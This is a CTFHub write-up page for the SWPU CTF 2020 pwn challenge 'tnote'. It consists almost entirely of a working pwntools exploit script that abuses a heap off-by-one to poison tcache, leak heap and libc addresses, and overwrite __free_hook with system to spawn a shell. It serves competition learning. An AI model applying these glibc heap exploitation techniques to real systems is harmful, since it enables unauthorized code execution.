tnote

发表于 2021-03-05 更新于 2021-03-15 分类于 Challenge， 2020， SWPU CTF 2020， Pwn
Challenge | 2020 | SWPU CTF 2020 | Pwn | tnote

点击此处获得更好的阅读体验

WriteUp来源

官方WP

解题思路

```
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
# context.log_level = 'debug'
binary = "./tnote"
ip = "**.**.**.**"
port = 10000
elf = ELF(binary)
def pwn(ip, port, debug):
    if debug == 1:
        sh = process(binary)
        lib = elf.libc
        # lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
        sh = remote(ip, port)
        lib = ELF("libc-2.27.so")
        # lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    s       = lambda data               :sh.send(str(data))
    sa      = lambda delim,data         :sh.sendafter(str(delim), str(data))
    sl      = lambda data               :sh.sendline(str(data))
    sla     = lambda delim,data         :sh.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :sh.recv(numb,timeout=5)
    ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop,timeout=5)
    irt     = lambda                    :sh.interactive()
    uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
    uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
    lg      = lambda data               :log.success(data)
    def add(size):
        sla(":","A");
        sla("?",str(size));
    def free(idx):
        sla(":","D");
        sla("?",str(idx))
    def edit(idx,content):
        sla(":","E")
        sla("?",str(idx))
        sa(":",content)
    def show(idx):
        sla(":","S")
        sla("?",str(idx))
    add(0x18)
    add(0x18)
    add(0x58)
    add(0x18)
    add(0x78)
    payload = "\x11" * 0x18 + p8(0x81)
    edit(0,payload)
    free(1)
    add(0x78)
    free(4)
    payload = "\x11" * 0x18 + p64(0x81) + "\n"
    edit(1,payload)
    free(2)
    payload = "\x11" * 0x18 + p64(0xdeadbeefdeadbeef) + "\n"
    edit(1,payload)
    show(1)
    ru("\x11" * 0x18 + p64(0xdeadbeefdeadbeef))
```

```
    heap_base = uu64(r(6)) - 0x320
    payload = "\x11" * 0x18 + p64(0x81)
    payload += p64(heap_base + 0x10) + "\n"
    edit(1,payload)
    add(0x78)
    add(0x78)
    payload = p64(0) * 4 + p64(0x0f0f0f0f0f0f0f0f) + p64(0) * 9 + p64(heap_base + 0x10) + "\n"
    edit(4,payload)
    free(4)
    add(0x78)
    show(4)
    ru("content:")
    main_arena = uu64(r(6))
    success("main_arena = "+hex(main_arena))
    libc = main_arena - lib.symbols[b'__malloc_hook'] - 96 - 0x10
    success("libc = "+hex(libc))
    lib.address = libc
    system = lib.symbols[b'system']
    __free_hook = lib.symbols[b'__free_hook']
    success("libc_base = "+hex(libc))
    success("sys_addr = "+hex(system))
    payload = p64(0) * 4 + p64(0x0f0f0f0f0f0f0f0f) + p64(0) * 9 + p64(__free_hook - 8) + "\n"
    edit(4,payload)
    add(0x78)
    edit(5,"/bin/sh\x00" + p64(system) + "\n")
    free(5)
    irt()

if __name__ == '__main__':
  pwn(ip, port, 0)
```

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2020/SWPU-CTF-2020/Pwn/8dq75jd2DnqAVvZ1Mwirgj.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # 2020 # Pwn # SWPU CTF 2020
shellco
corporate_slave